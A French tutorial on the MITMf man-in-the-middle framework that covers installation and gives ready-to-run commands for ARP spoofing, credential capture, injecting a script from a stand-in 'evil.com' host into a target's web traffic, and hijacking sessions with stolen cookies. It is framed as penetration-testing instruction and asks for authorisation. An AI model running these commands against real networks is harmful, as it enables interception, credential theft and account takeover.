Utilisation de mitmf (Man-in-the-Middle Framework)

Introduction

Mitmf est conçu pour exécuter divers types d'attaques MITM, notamment l'injection de code HTML/JS, le détournement de sessions, et bien plus. Il est très apprécié pour sa flexibilité et sa capacité à s'intégrer avec d'autres outils de sécurité.

Prérequis

• Ordinateur avec Kali Linux
• Accès root

Étape 1: Installation de mitmf

Pour installer mitmf, suivez les étapes ci-dessous :

1. Clonez le dépôt GitHub de mitmf :

git clone https://github.com/byt3bl33d3r/MITMf.git

2. Accédez au répertoire mitmf :

cd MITMf

3. Installez les dépendances requises :

sudo apt-get install python3-dev python3-pip libpcap-dev libnetfilter-queue-dev

4. Installez mitmf et ses modules Python :

sudo pip3 install -r requirements.txt

Étape 2: Lancement de mitmf

Pour lancer mitmf, exécutez la commande suivante :

sudo python3 mitmf.py

Utilisez les options et modules disponibles pour configurer votre attaque MITM.

Exemples d'Utilisation

Exemple 1: Attaque de Capture de Crédentiels

Utilisez mitmf pour capturer les crédentiels en transit sur le réseau :

1. Lancez mitmf avec les modules arp et creds :

sudo python3 mitmf.py --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 -i eth0 --creds

2. Les crédentiels capturés s'afficheront dans la console.

Exemple 2: Injection de Code HTML

Injectez du code HTML dans les pages web visitées par la cible :

1. Lancez mitmf avec les modules arp et inject :

sudo python3 mitmf.py --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 -i eth0 --inject --js-url http://evil.com/malicious.js

2. Tout le trafic web de la cible sera injecté avec le script malveillant spécifié.

Exemple 3: Détournement de Sessions

Détournez les sessions web actives pour usurper l'identité de l'utilisateur :

1. Lancez mitmf avec les modules arp et session :

sudo python3 mitmf.py --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 -i eth0 --session

2. Les cookies de session capturés peuvent être utilisés pour usurper les sessions web.

Mesures de Sécurité

Pendant l'utilisation de mitmf :

• Assurez-vous que l'attaque est légale et éthique, avec l'autorisation de tester les systèmes cibles.
• Utilisez un environnement de test isolé pour éviter d'affecter les systèmes de production.
• Protégez votre propre réseau contre les attaques MITM en utilisant des certificats SSL/TLS et des outils de détection d'intrusion.

Conclusion

Ce tutoriel vous a montré comment installer, configurer et utiliser mitmf pour réaliser des attaques de type Man-in-the-Middle. Mitmf est un outil flexible et puissant, idéal pour tester la sécurité des réseaux et des applications web. Utilisez-le de manière responsable pour améliorer la sécurité des systèmes.